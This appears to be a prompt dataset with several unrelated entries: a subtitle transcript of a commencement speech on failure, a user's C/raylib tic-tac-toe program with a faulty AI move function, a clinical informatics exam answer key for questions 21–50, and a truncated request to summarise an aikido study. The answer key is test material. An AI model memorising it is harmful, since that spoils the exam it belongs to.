saying\n\n80\n00:03:46,166 --> 00:03:48,199\nyou hang around the barbershop long enough\n\n81\n00:03:48,200 --> 00:03:50,100\nsooner or lady you're gonna get a haircut\n\n82\n00:03:52,300 --> 00:03:53,800\nso you will catch a break\n\n83\n00:03:53,800 --> 00:03:55,366\nand I did catch a break\n\n84\n00:03:57,366 --> 00:03:58,366\nlast year\n\n85\n00:03:59,466 --> 00:04:01,733\nI did a play called fences on Broadway\n\n86\n00:04:02,533 --> 00:04:03,666\nbut here's the kicker\n\n87\n00:04:04,766 --> 00:04:06,499\nit was at the court theater\n\n88\n00:04:07,700 --> 00:04:09,500\nit was at the same theater\n\n89\n00:04:09,733 --> 00:04:11,966\nthat I failed at 1st audition\n\n90\n00:04:12,300 --> 00:04:13,500\n30 years prior\n\n91\n00:04:15,300 --> 00:04:16,300\nthe point is\n\n92\n00:04:16,300 --> 00:04:18,766\nevery graduate here today has the training\n\n93\n00:04:18,866 --> 00:04:21,099\nand the talent to succeed\n\n94\n00:04:21,500 --> 00:04:24,133\nbut do you have the guts to fail\n\n95\n00:04:26,733 --> 00:04:28,366\nif you don't fail\n\n96\n00:04:29,200 --> 00:04:30,733\nyou're not even trying\n\n97\n00:04:33,533 --> 00:04:34,466\nI'll say it again\n\n98\n00:04:34,466 --> 00:04:37,266\nif you don't fail you're not even trying\n\n99\n00:04:38,933 --> 00:04:41,166\nto get something you never had\n\n100\n00:04:41,200 --> 00:04:43,966\nyou have to do something you never did\n\n101\n00:04:45,500 --> 00:04:47,466\nas imagine you're on your deathbed\n\n102\n00:04:47,800 --> 00:04:49,733\nand standing around your deathbed\n\n103\n00:04:50,066 --> 00:04:53,733\nare the ghosts representing your unfulfilled potential\n\n104\n00:04:54,533 --> 00:04:57,499\nthe ghost of the ideas you never acted on\n\n105\n00:04:58,066 --> 00:05:00,599\nthe ghost of the talents you didn't use\n\n106\n00:05:01,700 --> 00:05:03,700\nand they're standing around your bed\n\n107\n00:05:04,400 --> 00:05:05,333\nangry\n\n108\n00:05:06,000 --> 00:05:08,666\ndisappointed and upset\n\n109\n00:05:12,500 --> 00:05:14,400\nthey say we we came to you\n\n110\n00:05:14,566 --> 00:05:17,499\nbecause you could have brought us to life they say\n\n111\n00:05:20,300 --> 00:05:22,700\nand now we have to go to the grave together\n\n112\n00:05:24,533 --> 00:05:25,966\nso I ask you today\n\n113\n00:05:27,700 --> 00:05:29,700\nhow many ghosts are going to be around your bed\n\n114\n00:05:29,700 --> 00:05:31,166\nwhen your time comes\n\n115\n00:05:43,066 --> 00:05:45,766\nI just got back from South Africa's beautiful country\n\n116\n00:05:46,466 --> 00:05:48,533\nbut there are places there with terrible\n\n117\n00:05:48,900 --> 00:05:50,300\npoverty that need help\n\n118\n00:05:51,533 --> 00:05:54,133\nan Africa is just the tip of the iceberg\n\n119\n00:05:54,200 --> 00:05:55,866\nthe Middle East needs your help\n\n120\n00:05:55,866 --> 00:05:57,399\nJapan needs your help\n\n121\n00:05:57,400 --> 00:05:59,933\nAlabama needs your help Tennessee needs your help\n\n122\n00:05:59,933 --> 00:06:01,566\nLouisiana needs your help\n\n123\n00:06:01,566 --> 00:06:03,266\nPhiladelphia needs your help\n\n124\n00:06:06,900 --> 00:06:09,766\nthe world needs a lot and we need it from you\n\n125\n00:06:10,933 --> 00:06:12,933\nwe really do we need it from you young people\n\n126\n00:06:12,933 --> 00:06:14,899\nI mean I'm not speaking for the rest of us up here\n\n127\n00:06:14,900 --> 00:06:16,600\nbut I know I'm getting a little grayer\n\n128\n00:06:18,866 --> 00:06:20,499\nwe need it from you the young people\n\n129\n00:06:20,500 --> 00:06:21,733\nbecause remember this\n\n130\n00:06:22,333 --> 00:06:23,966\nbut you gotta get out there\n\n131\n00:06:24,300 --> 00:06:25,966\nyou gotta give it everything you got\n\n132\n00:06:25,966 --> 00:06:27,599\nwhether it's your time\n\n133\n00:06:29,000 --> 00:06:32,000\nyour talent your prayers\n\n134\n00:06:32,333 --> 00:06:33,733\nor your treasures\n\n135\n00:06:36,000 --> 00:06:37,933\nwhat are you going to do with what you have\n\n136\n00:06:37,933 --> 00:06:40,066\nI'm not talking about how much you have\n\n137\n00:06:40,666 --> 00:06:42,099\nsome of you are business mages\n\n138\n00:06:42,100 --> 00:06:44,700\nsome of you are theologians nurses sociologies\n\n139\n00:06:44,800 --> 00:06:46,100\nsome of you have money\n\n140\n00:06:46,100 --> 00:06:47,600\nsome of you have patience\n\n141\n00:06:47,600 --> 00:06:49,066\nsome of you have kindness\n\n142\n00:06:49,066 --> 00:06:50,466\nsome of you have love\n\n143\n00:06:50,500 --> 00:06:53,000\nsome of you have a gift of long suffering\n\n144\n00:06:53,000 --> 00:06:55,266\nwhatever it is whatever your gift is\n\n145\n00:06:55,733 --> 00:06:59,166\nwhat are you going to do with what you have\n\n146\n00:07:00,366 --> 00:07:02,533\nall right now here's my last point about failure\n\n147\n00:07:03,733 --> 00:07:04,933\nsometimes\n\n148\n00:07:06,100 --> 00:07:07,566\nit's the best way\n\n149\n00:07:08,933 --> 00:07:10,533\nto figure out where you're going\n\n150\n00:07:12,133 --> 00:07:14,266\nyour life will never be a straight path\n\n151\n00:07:15,300 --> 00:07:18,066\nI began at fordham university as a pre med student\n\n152\n00:07:18,466 --> 00:07:20,166\nI took a course called that\n\n153\n00:07:21,366 --> 00:07:22,599\nkandiak morphogenesis\n\n154\n00:07:22,600 --> 00:07:24,166\nI couldn't read it I couldn't say it\n\n155\n00:07:24,166 --> 00:07:25,666\nI sure couldn't pass it\n\n156\n00:07:26,733 --> 00:07:29,999\nso then I decided to go into pre law then journalism\n\n157\n00:07:30,100 --> 00:07:31,566\nand with no academic focus\n\n158\n00:07:31,566 --> 00:07:33,966\nmy grades took off in their own direction\n\n159\n00:07:35,766 --> 00:07:38,099\nI was a 1.8 GPA\n\n160\n00:07:39,100 --> 00:07:41,566\nand the university very politely suggested\n\n161\n00:07:41,566 --> 00:07:43,866\nthat it might be better to take some time off\n\n162\n00:07:46,400 --> 00:07:47,866\nI was 20 years old\n\n163\n00:07:48,100 --> 00:07:49,666\nI was at my lowest point\n\n164\n00:07:49,966 --> 00:07:52,866\nand then one day and I remember the exact day\n\n165\n00:07:52,966 --> 00:07:57,499\n27/3/1975 I was helping my mother in a beauty shop\n\n166\n00:07:57,500 --> 00:07:59,566\nmy mother in a beauty shop up in my Vernon\n\n167\n00:07:59,700 --> 00:08:00,166\nand there was\n\n168\n00:08:00,166 --> 00:08:01,533\nthere was this older woman\n\n169\n00:08:01,966 --> 00:08:04,566\nwho was considered one of the elders in the town\n\n170\n00:08:04,566 --> 00:08:06,266\nand I didn't know her personally\n\n171\n00:08:06,266 --> 00:08:07,699\nbut I was looking in the mirror\n\n172\n00:08:07,700 --> 00:08:09,666\nand every time I looked at the mirror I could see her\n\n173\n00:08:09,700 --> 00:08:11,566\nbehind me and she was staring at me\n\n174\n00:08:12,666 --> 00:08:14,566\nshe just kept looking at every time I looked at it\n\n175\n00:08:14,566 --> 00:08:16,299\nshe kept giving me these strange looks\n\n176\n00:08:16,700 --> 00:08:19,100\nso she finally took the dry or off her head and said\n\n177\n00:08:19,800 --> 00:08:21,366\nshe said something I'll never forget\n\n178\n00:08:22,400 --> 00:08:23,733\nshe said young boy\n\n179\n00:08:24,166 --> 00:08:25,533\nI have a prophecy\n\n180\n00:08:26,000 --> 00:08:27,866\na spiritual prophecy\n\n181\n00:08:29,466 --> 00:08:32,133\nshe said you are going to travel the world\n\n182\n00:08:32,466 --> 00:08:34,899\nand speak to millions of people\n\n183\n00:08:37,466 --> 00:08:38,666\nand in the years that followed\n\n184\n00:08:38,666 --> 00:08:40,399\njust as that woman prophesize\n\n185\n00:08:40,400 --> 00:08:41,866\nI have traveled the world\n\n186\n00:08:41,866 --> 00:08:43,966\nand I have spoken to millions of people\n\n187\n00:08:43,966 --> 00:08:45,133\nthrough my movies\n\n188\n00:08:45,800 --> 00:08:47,866\nmillions who up till this day\n\n189\n00:08:48,166 --> 00:08:49,199\ncouldn't see me\n\n190\n00:08:49,200 --> 00:08:52,166\nI who who up till this day I couldn't see\n\n191\n00:08:52,500 --> 00:08:54,666\nwhile I was talking to them and they couldn't see me\n\n192\n00:08:54,666 --> 00:08:55,933\nthey could only see the movie\n\n193\n00:08:56,933 --> 00:08:58,366\nit couldn't see the real me\n\n194\n00:09:00,466 --> 00:09:02,333\nbut I see youth today\n\n195\n00:09:03,900 --> 00:09:06,133\nand I'm encouraged by what I see\n\n196\n00:09:07,866 --> 00:09:10,733\nand I'm strengthened by what I see\n\n197\n00:09:14,200 --> 00:09:17,900\nbecause taking risk is not just about going for a job\n\n198\n00:09:18,300 --> 00:09:20,600\nit's also about knowing what you know\n\n199\n00:09:20,733 --> 00:09:22,166\nand what you don't know\n\n200\n00:09:22,366 --> 00:09:24,599\nit's about being open to people\n\n201\n00:09:25,366 --> 00:09:27,066\nand two ideas\n\n202\n00:09:28,200 --> 00:09:29,566\nthe chances you take\n\n203\n00:09:29,900 --> 00:09:31,400\nthe people you meet\n\n204\n00:09:31,700 --> 00:09:33,266\nthe people you love\n\n205\n00:09:33,666 --> 00:09:35,366\nthe faith that you have\n\n206\n00:09:35,733 --> 00:09:37,766\nthat's what's going to define you\n\n207\n00:09:40,166 --> 00:09:41,533\nnever be discouraged\n\n208\n00:09:42,733 --> 00:09:44,066\nnever hold back\n\n209\n00:09:45,100 --> 00:09:46,600\ngive everything you got\n\n210\n00:09:48,066 --> 00:09:49,933\nand when you fall throughout light\n\n211\n00:09:50,200 --> 00:09:51,100\nremember this\n\n212\n00:09:52,766 --> 00:09:53,933\nfall forward" -'on playing further, it feels like the ai is choosing completely randomly no matter what. here is my current code: \n```c\n#include \n#include \n#include "raylib.h"\n#include "string.h"\n\n#define BOARD\\_SIZE 3\n#define CELL\\_SIZE 100\n#define SCREEN\\_WIDTH (CELL\\_SIZE \\* BOARD\\_SIZE)\n#define SCREEN\\_HEIGHT (CELL\\_SIZE \\* BOARD\\_SIZE)\n\ntypedef enum\n{\n EMPTY,\n PLAYER1,\n PLAYER2\n} Cell;\n\nCell board[BOARD\\_SIZE][BOARD\\_SIZE];\n\nint GetWinningDirection(int player);\nbool CheckDraw();\nvoid DrawBoard(bool gameOver, int winner);\nvoid DrawWinMessage(int player);\nvoid ResetBoard();\n\nVector2 GetMouseCell();\nVector2 AIGetMove();\n\nint main()\n{\n InitWindow(SCREEN\\_WIDTH, SCREEN\\_HEIGHT, "Tic Tac Toe");\n SetTargetFPS(60);\n ResetBoard();\n\n int currentPlayer = PLAYER1;\n bool gameOver = false;\n int winner = 0;\n\n while (!WindowShouldClose())\n {\n if (!gameOver)\n {\n Vector2 move = {-1, -1};\n if (currentPlayer == PLAYER1 && IsMouseButtonPressed(MOUSE\\_LEFT\\_BUTTON))\n {\n move = GetMouseCell();\n }\n else if (currentPlayer == PLAYER2)\n {\n move = AIGetMove();\n }\n\n if (move.x != -1 && move.y != -1 && board[(int)move.y][(int)move.x] == EMPTY)\n {\n board[(int)move.y][(int)move.x] = currentPlayer;\n int winningDirection = GetWinningDirection(currentPlayer);\n if (winningDirection)\n {\n gameOver = true;\n winner = currentPlayer;\n }\n else if (CheckDraw())\n {\n gameOver = true;\n }\n else\n {\n currentPlayer = (currentPlayer == PLAYER1) ? PLAYER2 : PLAYER1;\n }\n }\n }\n\n if (gameOver && IsKeyPressed(KEY\\_R))\n {\n ResetBoard();\n currentPlayer = PLAYER1;\n gameOver = false;\n winner = 0;\n }\n\n BeginDrawing();\n ClearBackground(RAYWHITE);\n DrawBoard(gameOver, winner);\n if (gameOver)\n {\n DrawWinMessage(winner);\n }\n EndDrawing();\n }\n\n CloseWindow();\n return 0;\n}\n\nVector2 GetMouseCell() {\n int x = GetMouseX() / CELL\\_SIZE;\n int y = GetMouseY() / CELL\\_SIZE;\n return (Vector2){x, y};\n}\n\nVector2 AIGetMove()\n{\n Vector2 bestMove = {-1, -1};\n Cell tempBoard[BOARD\\_SIZE][BOARD\\_SIZE];\n\n // Copy the current board state\n memcpy(tempBoard, board, BOARD\\_SIZE \\* BOARD\\_SIZE \\* sizeof(Cell));\n\n // Check for a winning move\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER2;\n if (GetWinningDirection(PLAYER2))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // Check for the opponent\'s winning move and block it\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (tempBoard[i][j] == EMPTY)\n {\n tempBoard[i][j] = PLAYER1;\n if (GetWinningDirection(PLAYER1))\n {\n return (Vector2){j, i};\n }\n tempBoard[i][j] = EMPTY;\n }\n }\n }\n\n // If neither of the above, make a random move\n Vector2 moves[BOARD\\_SIZE \\* BOARD\\_SIZE];\n int moveCount = 0;\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n moves[moveCount++] = (Vector2){j, i};\n }\n }\n }\n\n if (moveCount > 0)\n {\n bestMove = moves[GetRandomValue(0, moveCount - 1)];\n }\n\n return bestMove;\n}\n\n/\\*\n \\* GetWinningDirection returns an integer representing the winning direction for a given player.\n \\* Return values:\n \\* 0 - No win\n \\* 1 to BOARD\\_SIZE - Horizontal win in the corresponding row\n \\* BOARD\\_SIZE + 1 to 2 \\* BOARD\\_SIZE - Vertical win in the corresponding column\n \\* 2 \\* BOARD\\_SIZE + 1 - Diagonal win from top-left to bottom-right\n \\* 2 \\* BOARD\\_SIZE + 2 - Diagonal win from top-right to bottom-left\n \\*/\nint GetWinningDirection(int player)\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n if ((board[i][0] == player && board[i][1] == player && board[i][2] == player))\n { // Check rows\n return i + 1;\n }\n if ((board[0][i] == player && board[1][i] == player && board[2][i] == player))\n { // Check columns\n return i + BOARD\\_SIZE + 1;\n }\n }\n\n // Check diagonals\n if ((board[0][0] == player && board[1][1] == player && board[2][2] == player))\n {\n return 2 \\* BOARD\\_SIZE + 1;\n }\n if ((board[0][2] == player && board[1][1] == player && board[2][0] == player))\n {\n return 2 \\* BOARD\\_SIZE + 2;\n }\n\n return 0;\n}\n\nbool CheckDraw()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n if (board[i][j] == EMPTY)\n {\n return false;\n }\n }\n }\n return true;\n}\n\nvoid DrawBoard(bool gameOver, int winner)\n{\n for (int i = 1; i < BOARD\\_SIZE; i++)\n {\n DrawLine(i \\* CELL\\_SIZE, 0, i \\* CELL\\_SIZE, SCREEN\\_HEIGHT, BLACK);\n DrawLine(0, i \\* CELL\\_SIZE, SCREEN\\_WIDTH, i \\* CELL\\_SIZE, BLACK);\n }\n\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n int x = j \\* CELL\\_SIZE;\n int y = i \\* CELL\\_SIZE;\n\n if (board[i][j] == PLAYER1)\n {\n DrawText("X", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n else if (board[i][j] == PLAYER2)\n {\n DrawText("O", x + CELL\\_SIZE / 2 - 10, y + CELL\\_SIZE / 2 - 10, 20, BLACK);\n }\n }\n }\n\n if (gameOver && winner)\n {\n int dir = GetWinningDirection(winner);\n if (dir >= 1 && dir <= BOARD\\_SIZE)\n { // Horizontal line\n int y = (dir - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(0, y, SCREEN\\_WIDTH, y, RED);\n }\n else if (dir >= BOARD\\_SIZE + 1 && dir <= 2 \\* BOARD\\_SIZE)\n { // Vertical line\n int x = (dir - BOARD\\_SIZE - 1) \\* CELL\\_SIZE + CELL\\_SIZE / 2;\n DrawLine(x, 0, x, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 1)\n { // Diagonal from top-left to bottom-right\n DrawLine(0, 0, SCREEN\\_WIDTH, SCREEN\\_HEIGHT, RED);\n }\n else if (dir == 2 \\* BOARD\\_SIZE + 2)\n { // Diagonal from top-right to bottom-left\n DrawLine(SCREEN\\_WIDTH, 0, 0, SCREEN\\_HEIGHT, RED);\n }\n }\n}\n\nvoid DrawWinMessage(int winner)\n{\n const char \\*messageLine1;\n const char \\*messageLine2 = "Press R to restart.";\n\n if (winner == PLAYER1)\n {\n messageLine1 = "Player 1 (X) wins!";\n }\n else if (winner == PLAYER2)\n {\n messageLine1 = "Player 2 (O) wins!";\n }\n else\n {\n messageLine1 = "It\'s a draw!";\n }\n\n int textWidth1 = MeasureText(messageLine1, 20);\n int textWidth2 = MeasureText(messageLine2, 20);\n int textHeight = 20;\n\n // Draw a semi-transparent background rectangle to improve readability\n DrawRectangle((SCREEN\\_WIDTH - textWidth1) / 2 - 20, SCREEN\\_HEIGHT / 2 - 50, textWidth1 + 40, textHeight \\* 2 + 40, (Color){0, 0, 0, 128});\n\n DrawText(messageLine1, (SCREEN\\_WIDTH - textWidth1) / 2, SCREEN\\_HEIGHT / 2 - 30, 20, RAYWHITE);\n DrawText(messageLine2, (SCREEN\\_WIDTH - textWidth2) / 2, SCREEN\\_HEIGHT / 2, 20, RAYWHITE);\n}\n\nvoid ResetBoard()\n{\n for (int i = 0; i < BOARD\\_SIZE; i++)\n {\n for (int j = 0; j < BOARD\\_SIZE; j++)\n {\n board[i][j] = EMPTY;\n }\n }\n}\n```' -'21\nTHE ANSWER IS D. The LOINC vocabulary is mainly directed at identifying laboratory and radiology tests as well as physical exam findings. SNOMED is much more expansive and seeks to have terms for every aspect of biomedical practice. The overwhelming majority of LOINC terms are also in SNOMED. Basically, this question is asking what sort of term would be found in LOINC. If you’re interested, Systolic Blood Pressure is 8480-6 in LOINC and 72313002 in SNOMED. (REF: 3.4.6 Ontologies and Taxonomies)\n22\nTHE ANSWER IS A. Choices B-D all match a branch of informatics with the task they are likely to perform. Choice A incorrectly pairs consumer health with physician data workflow. The key point is that a wearable computer has a potential to generate voluminous data, requires intelligent methods of analyzing and presenting that data, and is likely to be a consumer item. (REF: 1.1.1.3 - Domains, subspecialties of informatics)\n23\nTHE ANSWER IS A. CDS interface issues are present in both data entry and output. A CDS integrated into an EMR is far more likely to be used than a stand-alone system requiring duplicate data entry. (REF: 2.1.3 - Application of CDS)\n24\nTHE ANSWER IS B. The Institute of Medicine has established a set of standards for guidelines to ensure validity, accuracy and reliability. They include the following metrics: (Graham R, Mancher M, Wolman DM, Greenfield S, Steinberg E, Eds. Clinical practice guidelines we can trust. Institute of Medicine. 2011. National Academies Press, Washington, DC.)\n\xa0\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Has an explicit description of development and funding processes that is publicly accessible\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Follows a transparent process that minimizes bias, distortion, and conflicts of interest\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Is developed by a multidisciplinary panel comprising clinicians; methodological experts; and representatives, including a patient or consumer, of populations expected to be affected by the guideline\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Uses rigorous systematic evidence review and considers quality, quantity, and consistency of the aggregate of available evidence\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Summarizes evidence (and evidentiary gaps) about potential benefits and harms relevant to each recommendation\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Explains the parts that values, opinion, theory, and clinical experience play in deriving recommendations\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Provides a rating of the level of confidence in the evidence underpinning each recommendation and a rating of the strength of each recommendation\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Undergoes extensive external review that includes an open period for public comment\n●\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Has a mechanism for revision when new evidence becomes available \n\xa0\n(REF: 2.2.3 - Clinical Guidelines)\n25\nTHE ANSWER IS C. Of the primary determinants of health, biological factors are the hardest to change. Genetic engineering may someday enable the deactivation of the BRCA1 gene (a gene linked to development of breast cancer), but not today. The other choices represent social factors, and although they may be difficult to change, they are not currently impossible. (REF: 1.2.1 - Determinants of health)\n26\nTHE ANSWER IS B. Process maps are a visual depiction of a process which easily shows which tasks depend on which. Tasks which do not depend on each other can potentially be run in parallel. Culling outliers from a dataset is a statistical process and probably not relevant to workflow analysis. When a new workflow is created, it may cause workers to expand their scope of practice. Similarly, workflow analysis often involves collecting paper forms, but neither of these processes enable parallelization. (REF 2.3.1. Methods of workflow analysis)\n27\nTHE ANSWER IS C. Hick’s Law (or the Hick-Hyman Law) states that the time required to make a decision is logarithmically related to the number of choices available. If we decrease the number of menu options, we can expect to decrease the amount of time the uses spends deciding which option to pick. Distributed cognition is a theory which states that decisions are not made solely by the individual. Instead, they are distributed across objects, individuals, artefacts, and tools in the environment. Fitt’s law states that the time required to click a mouse on a screen item is related to the size of the item and the distance the mouse has to travel. Norman’s theory of Action specifies seven items that must occur sequentially for an action to be performed: 1. Forming the goal; 2. Forming the intention; 3. Specifying an action; 4. Executing the action; 5. Perceiving the state of the world, 6. Interpreting the state of the world, 7. Evaluating the outcome (REF: Section 3.2.1 Models, theories, and practices of HCI)\n28\nTHE ANSWER IS D. The critical path is the longest path from start to finish. This diagram has four paths: \u2028 \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 ACEG = 3+8+1+4 = 16\u2028 \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 ACFH = 3+8+6+4 = 21\n\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 BDEG = 2+2+1+4 = 9\n\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 BDFH = 2+2+6+4 = 14\n\xa0\n(REF: Section 4.4.4 Project Management Tools)\n29\nTHE ANSWER IS D. Outcomes research is primarily concerned with outcomes that matter to patients. While the remained of the choices may be of interest to cardiologists or ecological researchers, the patient is most concerned with his mobility. LVEDV and ECG findings are disease-oriented endpoints, while ability to walk is a patient-oriented endpoint. (REF: Section 2.2.1 - Evidence Sources)\n30\nTHE ANSWER IS C. Store and forward is a common form of asynchronous telemedicine. Media files are stored on a local server and then forwarded to the consultant, who often reads the studies in batches. Real time communication and remote monitoring are forms of synchronous communication. (REF: 3.3.4 - Telemedicine)\n31\nTHE ANSWER IS B. The first step is to construct the 2x2 table (or confusion matrix). Recall is the percentage of relevant documents which are retrieved. Note that you don’t really need to know how many items are in the corpus in order to solve this problem. \u2028\u2028 \n\xa0\nRelevant\nNot Relevant\nRetrieved\nA, I = 2\nK, M, N, O, T, W = 6\nNot retrieved\nB, C, D, E, F, G, H = 7\nJ, L, P, Q, R, S, U, V, X, Y = 10\n\u2028 \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 R = 2 / (7+2) = 22.2%\n(REF: Section 2.2.5 - Information Retrieval)\n32\nTHE ANSWER IS D. Workflow reengineering involves changing the way a company works in order to be more efficient. Revising a clinical guideline is analogous to workflow reengineering. Six-sigma is a quality improvement framework that seeks to reduce failure to very low levels (about 3 per million). Reduction in clinical staff and replacing paper forms with electronic equivalents both may be a part of workflow reengineering, but not always. (REF: Section 2.3.2. Principles of workflow re-engineering)\n33\nTHE ANSWER IS B. The CCD is an HL7 standard which is a constraint on the Reference Information Model. It is designed to transfer health records between different systems. HCPCS is a code set for procedures and supplies that are not in the CPT. The Joint Commission is a quasi-governmental organization which inspects and certifies hospitals. (REF 3.4.1 - Standards Development)\n34\nTHE ANSWER IS A. Defensive medicine is the practice of ordering low-yield tests in an attempt to decrease risk of future litigation. There are many other reasons why doctors order tests that they expect to contribute little to the diagnostic process, such as choices C and D, but these are not defensive medicine. The fiduciary relationship would be best honored by acting in the client’s best interest, which is usually at odds with defensive medicine. (REF Section 1.2.6 - Forces shaping healthcare delivery)\n35\nTHE ANSWER IS D. Knowing what information is needed and how to find it is known as information literacy. Computer competency is the ability to perform basic computer functions. A controlled vocabulary is a set of concepts in a particular domain. Informatics management is the process of collecting data, analyzing it and distributing the findings. (REF: 1.1.2 - Key informatics concepts, models, and theories)\n36\nTHE ANSWER IS B. Image compression may decrease the network overhead of sharing pictures, but the other choices more directly affect interoperability. Shared terminologies and common data definitions are more or less the same concept. Protocols are the mechanisms by which data is moved from one place to another. (REF: 3.4.2 Data standards and sharing)\n37\nTHE ANSWER IS D. Research has shown that CPGs have the potential to reduce inappropriate practice variation, enhance translation of research into practice, and improve healthcare quality and safety. They may decrease the cost of care, but they may also increase the cost of care by recommending more interventions. (REF: 2.2.3 - Clinical Guidelines)\n38\nTHE ANSWER IS C. Clinical guidelines are recommendations only and do not include hard and fast rules for treating patients. (REF: 2.2.3 - Clinical Guidelines)\n39\nTHE ANSWER IS B. In a Standard Gamble,\xa0 a patient is asked to choose between a certain time in state of illness vs. therapy with a known risk of cure or death. The standard gamble is defined as one minus the risk of death at the point of indifference ( the point at which the patient cannot choose between treatment options). In a Time Trade-off, a patient is asked to choose between some time in a state of illness vs. some time in a state of perfect health. When using a visual analog scale, patients are asked to rate different health states on a scale where 0 = death\xa0 and 100 = perfect health. The quality-adjusted life-year (QALY) is a measure of the value of health outcomes. (REF: Section 2.1.2 - Decision Science)\n40\nTHE ANSWER IS A. Whenever possible, a clinical information system should be evaluated on the basis of clinically relevant outcomes, such as compliance with national guidelines or mortality. The other measures are important, but none are as valuable as a clinical improvement. (REF: 3.5.6 - clinical information system evaluation)\n41\nTHE ANSWER IS B. Preventive maintenance (PM) is any activity designed to prevent failure of a system. Making backups, checking log files, ensuring drive capacity are all PM tasks. Disaster recovery and replacing a broken printer are corrective actions, not preventive. Upgrading monitors is a form of enhancement, not prevention. (REF: 3.5.5 - Clinical information system maintenance)\n42\nTHE ANSWER IS D. As medical records transitioned from paper to electronic formats, it became much easier to extract information from the chart for use in research activities.\xa0 The other choices reflect clinical benefits. (REF 1.1.1.6 - Current and Future Informatics Challenges) \n43\nTHE ANSWER IS D. A Service Level Agreement (SLA) is an agreement between a software vendor and consumer which describes the level of technical support to which the consumer is entitled. Effectively, this process shifts the risk of maintaining and supporting the software from the consumer to the vendor. A Business Associate Agreement (BAA) is an agreement between a holder of protected health information and one of its business associates regarding the usage and dissemination of data. An End User Licensing Agreement (EULA) is an agreement between a software publisher and the end user, and most commonly exists to limit the user’s ability to modify or resell the software and to disclaim responsibility from the publisher should the software malfunction. Open source software is distributed in an easily modifiable form, often for free. In general, open source software transfers all responsibilities from the publisher to the user, not the other way around. (REF: 3.5.1 - Institutional Governance)\n44\nTHE ANSWER IS C. Six-sigma is named because it seeks to minimize defects until they are six standard deviations from the mean. Although having zero defects would be ideal, C is a better answer because it is closer to 3.4 per million opportunities. The other choices are to high. (REF 2.3.3 Quality Improvement)\n45\nTHE ANSWER IS B. Accepting the current level of risk without attempting any other risk modification is called Risk Acceptance. Risk exploitation is an approach to positive risk where a risk manager does everything in his power to ensure that the risk occurs. Risk transference is when the risk is transferred to another entity, such as buying insurance. Finally, Risk Avoidance involves instituting systematic changes to ensure that the risk does not occur. In the case of cancer, this is not a valid response. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n46\nTHE ANSWER IS A. Integrated change control is a rigorous process to determine the need for changes in the scope of a project. It may involve a single individual or a committee or a change control board. Having a solid change process limits scope creep. Risk avoidance is a response to risk which seeks to avoid the risk entirely. The opposite of risk avoidance is risk exploitation, which seeks to ensure that the risk occurs. A run chart shows the output of a process over time. A sensitivity analysis relies on a mathematical model of a process. By changing input variables, one can predict how the process will turn out.\xa0 (REF: Section 4.4.5 Project Management – Informatics project challenges)\n47\nTHE ANSWER IS D. Adverse clinical events are the worst-case scenario for a poorly designed system. In general, the other choices are good outcomes. (REF: Section 3.2.2 - HCI Evaluation)\n48\nTHE ANSWER IS D. In an ontology the relationships between terms define those terms, and are therefore explicitly stated. Synonyms (aliases) are a type of relation and must be explicitly stated. Ontological relations are quite varied and are not limited to parent-child relationships. (REF: 3.4.6 Ontologies and Taxonomies)\n49\nTHE ANSWER IS C. Recall is the percentage of relevant documents which are retrieved. In this case, \u2028\u2028 R = 2 / (1+2) = 66% (REF: Section 2.2.5 - Information Retrieval)\n50\nTHE ANSWER IS D. The discount rate indicates the interest rate used in discounted cash flow analysis to determine the present value of future cash flows. After one year, the $100 would increase by 10% to $110. After two years, it would increase by another 10%, to $121. (REF 4.5.5 Capital and operating budgeting)' -'summarize:\n4\u2002Findings\nThe benchmarking study provided twenty sets of answers to the same questions \n(see Appendix). The answers came from experts who represented various man\x02ifestations of aikido from places all over the world in 2020. Each answer was a \nproduct of the expert and the expert’s individual, aikido, social, cultural and \ndemographic contexts. When the interviewed experts talked about aikido inter\x02action, they referred to aikido principles with the same core meaning, however, \nwith local or individual nuances. Some experts saw added value in the combat \neffectiveness and others in the philosophy of aikido. Interestingly, the analysis \nof the interview data revealed that the way they learn, teach, understand and \nperceive aikido has fundamental 